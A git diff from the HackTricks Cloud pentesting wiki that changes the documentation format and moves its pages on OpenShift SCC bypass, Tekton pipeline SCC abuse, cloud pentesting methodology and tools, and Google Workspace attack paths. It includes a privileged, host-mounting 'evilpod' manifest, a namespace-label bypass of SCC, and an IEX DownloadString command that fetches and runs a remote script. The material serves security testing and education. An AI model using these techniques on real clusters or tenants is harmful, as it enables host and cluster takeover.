-{% embed url="https://github.com/maxDcb/OpenShiftGrapher" %}
+{{#ref}}
+https://github.com/maxDcb/OpenShiftGrapher
+{{#endref}}
diff --git a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
similarity index 71%
rename from pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
rename to src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
index e89392fa9..b7fae734b 100644
--- a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
+++ b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
@@ -6,12 +6,12 @@
 
 By default, SCC does not apply on following projects :
 
-* **default**
-* **kube-system**
-* **kube-public**
-* **openshift-node**
-* **openshift-infra**
-* **openshift**
+- **default**
+- **kube-system**
+- **kube-public**
+- **openshift-node**
+- **openshift-infra**
+- **openshift**
 
 If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
 
@@ -19,8 +19,8 @@ If you deploy pods within one of those namespaces, no SCC will be enforced, allo
 
 There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
 
-* Create a Namespace and Create a Pod on this Namespace
-* Edit a Namespace and Create a Pod on this Namespace
+- Create a Namespace and Create a Pod on this Namespace
+- Edit a Namespace and Create a Pod on this Namespace
 
 ```bash
 $ oc auth can-i create namespaces
@@ -32,7 +32,7 @@ $ oc auth can-i patch namespaces
 
 The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
 
-<figure><img src="../../../.gitbook/assets/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
 
 ## Add Label
 
@@ -67,38 +67,38 @@ kind: Pod
 metadata:
   name: evilpod
   labels:
-    kubernetes.io/hostname: evilpod 
+    kubernetes.io/hostname: evilpod
 spec:
-  hostNetwork: true #Bind pod network to the host network 
+  hostNetwork: true #Bind pod network to the host network
   hostPID: true #See host processes
   hostIPC: true #Access host inter processes
   containers:
-  - name: evil    
-    image: MYIMAGE
-    imagePullPolicy: IfNotPresent
-    securityContext:
-      privileged: true
-      allowPrivilegeEscalation: true  
-    resources:
-      limits:
-        memory: 200Mi
-      requests:
-        cpu: 30m
-        memory: 100Mi
-    volumeMounts:
-    - name: hostrootfs
-      mountPath: /mnt
+    - name: evil
+      image: MYIMAGE
+      imagePullPolicy: IfNotPresent
+      securityContext:
+        privileged: true
+        allowPrivilegeEscalation: true
+      resources:
+        limits:
+          memory: 200Mi
+        requests:
+          cpu: 30m
+          memory: 100Mi
+      volumeMounts:
+        - name: hostrootfs
+          mountPath: /mnt
   volumes:
-  - name: hostrootfs
-    hostPath:
-      path: 
+    - name: hostrootfs
+      hostPath:
+        path:
 ```
 
 Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
 
-{% content-ref url="../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md" %}
-[attacking-kubernetes-from-inside-a-pod.md](../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md)
-{% endcontent-ref %}
+{{#ref}}
+../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
+{{#endref}}
 
 ### Custom labels
 
@@ -106,11 +106,11 @@ Furthermore, based on the target setup, some custom labels / annotations may be
 
 Try to look for custom labels if you can read some resources. Here a list of interesting resources :
 
-* Pod
-* Deployment
-* Namespace
-* Service
-* Route
+- Pod
+- Deployment
+- Namespace
+- Service
+- Route
 
 ```bash
 $ oc get pod -o yaml | grep labels -A 5
@@ -133,6 +133,6 @@ To bypass GateKeeper's rules and set this label to execute a cluster takeover, *
 
 ## References
 
-* [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
-* [https://docs.openshift.com/container-platform/3.11/admin\_guide/manage\_scc.html](https://docs.openshift.com/container-platform/3.11/admin\_guide/manage\_scc.html)
-* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
+- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
+- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
+- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
diff --git a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
similarity index 92%
rename from pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
rename to src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
index aa0c55614..bdb8deb70 100644
--- a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
+++ b/src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
@@ -10,9 +10,9 @@ With Tekton everything is represented by YAML files. Developers can create Custo
 
 When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
 
-{% embed url="https://tekton.dev/docs/getting-started/pipelines/" %}
-Tekton Doc about Pipelines
-{% endembed %}
+{{#ref}}
+https://tekton.dev/docs/getting-started/pipelines/
+{{#endref}}
 
 ### The Pipeline service account capabilities
 
@@ -53,9 +53,9 @@ The tekton operator will give to the pipeline service account in `test-namespace
 
 Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
 
-{% embed url="https://tekton.dev/docs/operator/sccconfig/" %}
-Tekton doc about scc
-{% endembed %}
+{{#ref}}
+https://tekton.dev/docs/operator/sccconfig/
+{{#endref}}
 
 This label is called `max-allowed`&#x20;
 
@@ -73,4 +73,3 @@ spec:
         default: "restricted-v2"
         maxAllowed: "privileged"
 ```
-
diff --git a/pentesting-cloud/openshift-pentesting/openshift-scc.md b/src/pentesting-cloud/openshift-pentesting/openshift-scc.md
similarity index 82%
rename from pentesting-cloud/openshift-pentesting/openshift-scc.md
rename to src/pentesting-cloud/openshift-pentesting/openshift-scc.md
index 68dae698d..6728c4ce2 100644
--- a/pentesting-cloud/openshift-pentesting/openshift-scc.md
+++ b/src/pentesting-cloud/openshift-pentesting/openshift-scc.md
@@ -19,13 +19,13 @@ By configuring SCCs, administrators can ensure that pods are running with the ap
 
 Basically, every time a pod deployment is requested, an admission process is executed as the following:
 
-<figure><img src="../../.gitbook/assets/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
 
 This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation.
 
-{% content-ref url="../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md" %}
-[pod-escape-privileges.md](../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md)
-{% endcontent-ref %}
+{{#ref}}
+../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
+{{#endref}}
 
 ## List SCC
 
@@ -59,10 +59,10 @@ $ oc apply -f evilpod.yaml #Deploy a privileged pod
 
 ## SCC Bypass
 
-{% content-ref url="openshift-privilege-escalation/openshift-scc-bypass.md" %}
-[openshift-scc-bypass.md](openshift-privilege-escalation/openshift-scc-bypass.md)
-{% endcontent-ref %}
+{{#ref}}
+openshift-privilege-escalation/openshift-scc-bypass.md
+{{#endref}}
 
 ## References
 
-* [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
+- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
diff --git a/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
similarity index 71%
rename from pentesting-cloud/pentesting-cloud-methodology.md
rename to src/pentesting-cloud/pentesting-cloud-methodology.md
index 6e7039d1c..782f630a2 100644
--- a/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,48 +1,35 @@
 # Pentesting Cloud Methodology
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+{{#include ../banners/hacktricks-training.md}}
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-<figure><img src="../.gitbook/assets/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
+<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
 
 ## Basic Methodology
 
 Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment:
 
-* **Benchmark checks**
-  * This will help you **understand the size** of the environment and **services used**
-  * It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools**
-* **Services Enumeration**
-  * You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test.
-  * This will allow you to know **what is exactly being used** in the cloud env
-  * This will help a lot in the next steps
-* **Check exposed assets**
-  * This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed.
-    * Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets)
-  * Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?)
-* **Check permissions**
-  * Here you should **find out all the permissions of each role/user** inside the cloud and how are they used
-    * Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already
-    * If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100)
-  * It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**.
-    * Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported.
-* **Check Integrations**
-  * It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env.
-    * For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed.\
+- **Benchmark checks**
+  - This will help you **understand the size** of the environment and **services used**
+  - It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools**
+- **Services Enumeration**
+  - You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test.
+  - This will allow you to know **what is exactly being used** in the cloud env
+  - This will help a lot in the next steps
+- **Check exposed assets**
+  - This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed.
+    - Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets)
+  - Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?)
+- **Check permissions**
+  - Here you should **find out all the permissions of each role/user** inside the cloud and how are they used
+    - Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already
+    - If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100)
+  - It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**.
+    - Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported.
+- **Check Integrations**
+  - It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env.
+    - For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed.\
       For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data).
-    * For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\
+    - For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\
       For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud.
 
 ## Multi-Cloud tools
@@ -53,8 +40,9 @@ There are several tools that can be used to test different cloud environments. T
 
 A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
 
-{% tabs %}
-{% tab title="Install" %}
+{{#tabs }}
+{{#tab name="Install" }}
+
 ```bash
 # You need to install and run neo4j also
 git clone https://github.com/carlospolop/PurplePanda
@@ -66,9 +54,11 @@ export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687"
 export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda"
 python3 main.py -h # Get help
 ```
-{% endtab %}
 
-{% tab title="GCP" %}
+{{#endtab }}
+
+{{#tab name="GCP" }}
+
 ```bash
 export GOOGLE_DISCOVERY=$(echo 'google:
 - file_path: ""
@@ -79,8 +69,9 @@ export GOOGLE_DISCOVERY=$(echo 'google:
 python3 main.py -a -p google #Get basic info of the account to check it's correctly configured
 python3 main.py -e -p google #Enumerate the env
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
@@ -105,8 +96,9 @@ prowler <provider> --list-services
 
 AWS, Azure, Github, Google, Oracle, Alibaba
 
-{% tabs %}
-{% tab title="Install" %}
+{{#tabs }}
+{{#tab name="Install" }}
+
 ```bash
 # Install
 git clone https://github.com/aquasecurity/cloudsploit.git
@@ -115,22 +107,26 @@ npm install
 ./index.js -h
 ## Docker instructions in github
 ```
-{% endtab %}
 
-{% tab title="GCP" %}
+{{#endtab }}
+
+{{#tab name="GCP" }}
+
 ```bash
 ## You need to have creds for a service account and set them in config.js file
 ./index.js --cloud google --config </abs/path/to/config.js>
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
 
 AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
 
-{% tabs %}
-{% tab title="Install" %}
+{{#tabs }}
+{{#tab name="Install" }}
+
 ```bash
 mkdir scout; cd scout
 virtualenv -p python3 venv
@@ -139,9 +135,11 @@ pip install scoutsuite
 scout --help
 ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image
 ```
-{% endtab %}
 
-{% tab title="GCP" %}
+{{#endtab }}
+
+{{#tab name="GCP" }}
+
 ```bash
 scout gcp --report-dir /tmp/gcp --user-account --all-projects
 ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account
@@ -154,22 +152,25 @@ for pid in $(gcloud projects list --format="value(projectId)"); do
     scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid"
 done
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### [Steampipe](https://github.com/turbot)
 
-{% tabs %}
-{% tab title="Install" %}
+{{#tabs }}
+{{#tab name="Install" }}
 Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Or use Brew:
 
 ```
 brew tap turbot/tap
 brew install steampipe
 ```
-{% endtab %}
 
-{% tab title="GCP" %}
+{{#endtab }}
+
+{{#tab name="GCP" }}
+
 ```bash
 # Install gcp plugin
 steampipe plugin install gcp
@@ -203,7 +204,7 @@ done
 
 # Generate the aggragator to call
 echo 'connection "gcp_all" {
-  plugin      = "gcp" 
+  plugin      = "gcp"
   type        = "aggregator"
   connections = ["gcp_*"]
 }' >> "$FILEPATH"
@@ -218,9 +219,10 @@ To check **other GCP insights** (useful for enumerating services) use: [https://
 To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
 More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
-{% endtab %}
+{{#endtab }}
+
+{{#tab name="AWS" }}
 
-{% tab title="AWS" %}
 ```bash
 # Install aws plugin
 steampipe plugin install aws
@@ -248,8 +250,8 @@ steampipe check all --export=/tmp/output4.json
 To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
 More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
-{% endtab %}
-{% endtabs %}
+{{#endtab }}
+{{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
@@ -264,8 +266,9 @@ Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Offi
 
 Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
 
-{% tabs %}
-{% tab title="Cloudlist" %}
+{{#tabs }}
+{{#tab name="Cloudlist" }}
+
 ```bash
 cd /tmp
 wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip
@@ -273,31 +276,37 @@ unzip cloudlist_1.0.1_macOS_arm64.zip
 chmod +x cloudlist
 sudo mv cloudlist /usr/local/bin
 ```
-{% endtab %}
 
-{% tab title="Second Tab" %}
+{{#endtab }}
+
+{{#tab name="Second Tab" }}
+
 ```bash
 ## For GCP it requires service account JSON credentials
 cloudlist -config </path/to/config>
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
 Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
 
-{% tabs %}
-{% tab title="Install" %}
+{{#tabs }}
+{{#tab name="Install" }}
+
 ```bash
 # Installation
 docker image pull ghcr.io/lyft/cartography
 docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help
 ## Install a Neo4j DB version 3.5.*
 ```
-{% endtab %}
 
-{% tab title="GCP" %}
+{{#endtab }}
+
+{{#tab name="GCP" }}
+
 ```bash
 docker run --platform linux/amd64 \
      --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \
@@ -317,15 +326,17 @@ docker run --platform linux/amd64 \
 ## Google Kubernetes Engine
 ### If you can run starbase or purplepanda you will get more info
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
 Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
 
-{% tabs %}
-{% tab title="Install" %}
+{{#tabs }}
+{{#tab name="Install" }}
+
 ```bash
 # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/
 npm install --global yarn
@@ -348,22 +359,23 @@ docker build --no-cache -t starbase:latest .
 docker-compose run starbase setup
 docker-compose run starbase run
 ```
-{% endtab %}
 
-{% tab title="GCP" %}
+{{#endtab }}
+
+{{#tab name="GCP" }}
+
 ```yaml
 ## Config for GCP
 ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md
 ### It requires service account credentials
- 
+
 integrations:
-  -
-    name: graph-google-cloud
+  - name: graph-google-cloud
     instanceId: testInstanceId
     directory: ./.integrations/graph-google-cloud
     gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git
     config:
-      SERVICE_ACCOUNT_KEY_FILE: '{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}'
+      SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}"
       PROJECT_ID: ""
       FOLDER_ID: ""
       ORGANIZATION_ID: ""
@@ -371,14 +383,15 @@ integrations:
 
 storage:
   engine: neo4j
-  config: 
+  config:
     username: neo4j
     password: s3cr3t
     uri: bolt://localhost:7687
     #Consider using host.docker.internal if from docker
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
@@ -389,8 +402,8 @@ Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
 
 # in the Cloud Console
-IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')  
-Scan-AzureAdmins  
+IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')
+Scan-AzureAdmins
 ```
 
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
@@ -399,39 +412,39 @@ A tool to find a company (target) infrastructure, files, and apps on the top clo
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-* CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming).
-* It is an enumeration tool which is intended to compliment manual pentesting.
-* It doesn't create or modify any data within the cloud environment.
+- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming).
+- It is an enumeration tool which is intended to compliment manual pentesting.
+- It doesn't create or modify any data within the cloud environment.
 
 ### More lists of cloud security tools
 
-* [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
+- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
 ## Google
 
 ### GCP
 
-{% content-ref url="gcp-security/" %}
-[gcp-security](gcp-security/)
-{% endcontent-ref %}
+{{#ref}}
+gcp-security/
+{{#endref}}
 
 ### Workspace
 
-{% content-ref url="workspace-security/" %}
-[workspace-security](workspace-security/)
-{% endcontent-ref %}
+{{#ref}}
+workspace-security/
+{{#endref}}
 
 ## AWS
 
-{% content-ref url="aws-security/" %}
-[aws-security](aws-security/)
-{% endcontent-ref %}
+{{#ref}}
+aws-security/
+{{#endref}}
 
 ## Azure
 
-{% content-ref url="azure-security/" %}
-[azure-security](azure-security/)
-{% endcontent-ref %}
+{{#ref}}
+azure-security/
+{{#endref}}
 
 ### Attack Graph
 
@@ -441,17 +454,4 @@ A tool to find a company (target) infrastructure, files, and apps on the top clo
 
 You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/workspace-security/README.md b/src/pentesting-cloud/workspace-security/README.md
new file mode 100644
index 000000000..089b8f164
--- /dev/null
+++ b/src/pentesting-cloud/workspace-security/README.md
@@ -0,0 +1,73 @@
+# GWS - Workspace Pentesting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Entry Points
+
+### Google Platforms and OAuth Apps Phishing
+
+Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in:
+
+{{#ref}}
+gws-google-platforms-phishing/
+{{#endref}}
+
+### Password Spraying
+
+In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address.
+
+## Post-Exploitation
+
+If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges:
+
+{{#ref}}
+gws-post-exploitation.md
+{{#endref}}
+
+### GWS <-->GCP Pivoting
+
+Read more about the different techniques to pivot between GWS and GCP in:
+
+{{#ref}}
+../gcp-security/gcp-to-workspace-pivoting/
+{{#endref}}
+
+## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
+
+- **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC.
+- **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
+- **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
+
+{{#ref}}
+gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
+{{#endref}}
+
+## Persistence
+
+If you have compromised some credentials or the session of the user check these options to maintain persistence over it:
+
+{{#ref}}
+gws-persistence.md
+{{#endref}}
+
+## Account Compromised Recovery
+
+- Log out of all sessions
+- Change user password
+- Generate new 2FA backup codes
+- Remove App passwords
+- Remove OAuth apps
+- Remove 2FA devices
+- Remove email forwarders
+- Remove emails filters
+- Remove recovery email/phones
+- Removed malicious synced smartphones
+- Remove bad Android Apps
+- Remove bad account delegations
+
+## References
+
+- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
+- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md b/src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md
similarity index 56%
rename from pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md
rename to src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md
index 29201100e..7877374d9 100644
--- a/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md
+++ b/src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md
@@ -1,23 +1,12 @@
 # GWS - Google Platforms Phishing
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Generic Phishing Methodology
 
-{% embed url="https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology" %}
